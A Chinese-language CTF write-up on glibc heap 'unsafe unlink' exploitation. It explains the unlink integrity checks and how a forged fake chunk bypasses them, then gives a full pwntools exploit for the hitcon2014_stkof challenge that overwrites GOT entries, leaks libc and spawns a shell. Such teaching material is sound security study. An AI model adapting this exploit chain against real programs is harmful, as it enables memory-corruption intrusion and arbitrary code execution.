0x01 正常unlink

當一個bin從記錄bin的雙向連結串列中被取下時，會觸發unlink。常見的比如：相鄰空閒bin進行合併，malloc_consolidate時。unlink的過程如下圖所示（來自CTFWIKI）主要包含3個步驟，就是這麼簡單。

根據p的fd和bk獲得雙向連結串列的上一個chunk FD和下一個chunk BK
設定FD->bk=BK
設定BK->fd=FD

在這裡插入圖片描述
下面看一下unlink的原始碼。

#安裝原始碼
apt install glibc-source
#下面目錄下有一個glibc-2.23.tar.xz
/usr/src/glibc/
#可以拷貝到understand中進行原始碼閱讀

size檢查
第一個要檢查的是需要解鏈bin的size。在堆中有兩個地方儲存了p的size。第一個是當前p->size。第二個是next_chunk§->prev_size。比較兩個大小。
fd和bk檢查
檢查p是否在雙向連結串列中。在雙向連結串列中有兩個指標指向p。第一個是FD->bk，第二個是BK->fd。

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
	//第一個檢查
    if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
    FD = P->fd;								      \
    BK = P->bk;								      \
    //第二個檢查
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
    	//完成上圖的unlink過程
    	//具體過程可以看原始碼
      }									      \
}

0x02 利用思路

要利用unlink首先要繞過前面提到的兩個檢查。繞過size檢查需要可以修改下一個chunk->prev_size。繞過fd和bk檢查需要能夠控制fd和bk。

1.第一種利用思路

利用條件

存在UAF可以修改p的fd和bk
存在一個指標指向p

利用方法

通過UAF漏洞修改chunk0->fd=G_ptr-0x18，chunk0->bk=G_ptr-0x10，繞過fd和bk檢查
free下一個chunk，chunk0和chunk1合併，chunk0發生unlink，修改了G_ptr的值

效果

修改G_ptr=&G_ptr-0x18。如果能夠對G_ptr指向的空間進行修改，則可能導致任意地址讀寫。
在這裡插入圖片描述

2.第二種方法思路

這種情況在做題中出現的情況比較多。因為malloc是返回的指標如果儲存在bss段或者heap中則正好滿足利用條件2。

利用條件

可以修改p的下一個chunk->pre_size和inuse位
存在一個指標指向chunk p的內容部分

利用方法

偽造fake_chunk。fakechunk->size=chunk0-0x10，可以繞過size檢查。fakechunk->fd=&G_ptr-0x18，fakechunk->bk=&G_ptr-0x10，繞過fd和bk檢查。
修改下一個chunk的prev_size=chunksize§-0x10。因為fakechunk比chunk0小0x10。
修改下一個chunk的inuse位。
free下一個堆塊chunk1。fakechunk和chunk1合併，fakechunk發生unlink，修改了G_ptr的值。

效果
修改G_ptr=&G_ptr-0x18。如果能夠對G_ptr指向的空間進行修改，則可能導致任意地址讀寫。
在這裡插入圖片描述

0x03 例題 hitcon2014_stkof

1.檢視程式保護

可以修改GOT表，沒有PIE，很好。
在這裡插入圖片描述
試執行，沒有輸出。

2.檢視程式

選單題只是沒有把選單列印出來。1是add。2是edit。3是free。4是todo沒有實際用途
在這裡插入圖片描述
add函數
add就是正常的add

讀入size
malloc對應的size
0x602100記錄的是已經申請的note數量
0x602140是heaparray指標陣列

在這裡插入圖片描述
edit函數
沒有驗證輸入的size大小，存在heap overflow

輸入index
輸入size
輸入content

在這裡插入圖片描述
delete函數

將堆塊釋放
將陣列置0

3.利用方法

這裡正好滿足第二種利用思路，bss段存在G_ptr指向堆的內容，且能修改下一個堆塊的prev_size和inuse位。

構造fakechunk來unlink使bss段中的堆指標指向附近
利用edit函數，修改函數指標指向free_got
修改free_got為put_plt，之後再呼叫free時就會輸出指標指向的內容來洩露libc地址
將free_got改為system地址
呼叫free函數釋放掉內容為"/bin/sh"的堆塊來getshell

這裡還有一個問題就是緩衝區的問題。題目並沒有setbuf，所以IO緩衝區會在程式執行的時候在堆中進行申請。我們先連續建立3個0x20大小的chunk來檢視堆疊排布情況，方便後續unlink操作。如下圖，第一個申請的堆塊並沒有和後面幾個連續分佈，所以第一個堆塊不能用來做fakechunk。

在這裡插入圖片描述
建立堆塊

idx1用來解決IO快取的問題
idx2用來構造fakechunk和idx3來unlink
idx4用來防止和top chunk和並

head = 0x602140 #堆指標陣列
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4

構造完成的堆空間分佈
在這裡插入圖片描述
0x602100儲存了note數量
0x602140儲存了指標陣列，索引從1開始

構造fakechunk

如下圖，黃框為構造的fakechunk

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

在這裡插入圖片描述
unlink

釋放第3個堆塊，觸發unlink。0x602150中的指標已經指向bss段的空間當中。通過修改陣列中的指標來達到任意地址寫的目的

在這裡插入圖片描述
leak libc

將heaparray[1]指標覆蓋為free_got，heaparray[2]指標覆蓋為puts_got

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

在這裡插入圖片描述
將free_got的值覆蓋為puts_plt。下次呼叫free時實際呼叫的是puts

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#實際呼叫的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))

在這裡插入圖片描述
getshell
修改free_got為system，並釋放內容為’/bin/sh’的堆塊來getshell。

payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()

在這裡插入圖片描述

4.exp

from pwn import *
context.arch = 'amd64'
debug = 1

if debug:
	context.log_level='debug'
	context.terminal = ['terminator','-x','sh','-c']
	p = process('./stkof')
	elf = ELF('./stkof')
	libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
	p = remote('node3.buuoj.cn',28755)
	elf = ELF('./stkof')
	libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')

def add(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(idx, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(len(content)))
    p.send(content)
    p.recvuntil('OK\n')

def free(idx):
    p.sendline('3')
    p.sendline(str(idx))

head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10


add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

free(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)

p.recvuntil('OK\n')

puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))

payload4 = p64(system_addr)
edit(1, payload4)

edit(4, '/bin/sh\x00')
free(4)

p.interactive()

0x04 總結

當free時（不是fastbin）如果前面或者後面的chunk是空閒的，則會發生合併
如果此時存在G_ptr指向前面的chunk，並且存在覆蓋的話可能存在unsafe_unlink

1.創造fakechunk，這裡針對64位元

presize=0
size= 原來size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10

2.覆蓋下一個chunk

presize = 原pre_size-0x10
size從0x91改為0x90

3.觸發unlink

free(chunk1)
chunk1會和前面的chunk0進行合併，斷鏈
fake_chunk->bk->fd = fake_chunk->fd->bk
&G_ptr = &G_ptr-0x18

參考連結：ctfwiki unlink

unlink快速入門